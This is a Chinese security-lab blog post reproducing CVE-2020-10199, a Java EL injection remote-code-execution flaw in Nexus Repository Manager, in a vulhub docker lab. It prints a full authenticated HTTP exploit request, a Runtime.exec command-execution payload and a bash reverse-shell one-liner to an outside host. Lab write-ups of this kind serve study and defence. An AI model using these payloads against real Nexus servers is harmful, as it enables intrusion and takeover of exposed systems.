“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。
Nexus 是一个 Maven 的仓库管理系统,它提供了强大的仓库管理、构件搜索等功能,并且可以用来搭建 Maven 仓库私服,在代理远程仓库的同时维护本地仓库,以节省带宽和时间。
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,经过授权认证的攻击者,可以通过 JavaEL 表达式注入造成远程代码执行,获取系统权限。
使用fofa搜索nexus可发现有38w+个相关资产。
今年3月31日的时候Nexus Repository Manager官方发布了CVE-2020-10199,CVE-2020-10204的漏洞公告,两个漏洞均是由Github Secutiry Lab的@pwntester发现的。其中CVE-2020-10199再获取到管理员权限后,即可进行远程命令执行。
Nexus Repository Manager OSS/Pro version <= 3.21.1
我们使用vulhub提供的漏洞docker容器直接开启环境。
cd ~/vulhub/nexus/cve-2020-10199
复制
docker-composer up -d
复制
等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面。
该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台。
可使用以下payload对nexus进行远程命令执行,其中NXSESSIONID需要更换为账户登录成功之后的ID,该ID存在与Cookie中。
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{233*233*233}"]
}
}
复制
可以看到公式233x233x233计算成功,替换以下payload即可系统命令执行。
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch tmp/233')}
复制
利用构建好的PY脚本:
linux主机配合:
bash -i >&/dev/tcp/1.1.1.1/9999 0>&1
复制
命令可反弹shell
目前,官方已发布新版本修复了该漏洞,请受影响的用户升级到安全版本。
下载地址:https://help.sonatype.com/repomanager3/download/
声明
署名:CC BY-NC-SA 3.0 CN
文中所涉及的技术,思路和工具仅供以安全为目的的学习交流使用,请勿做非法用途否则后果自负。
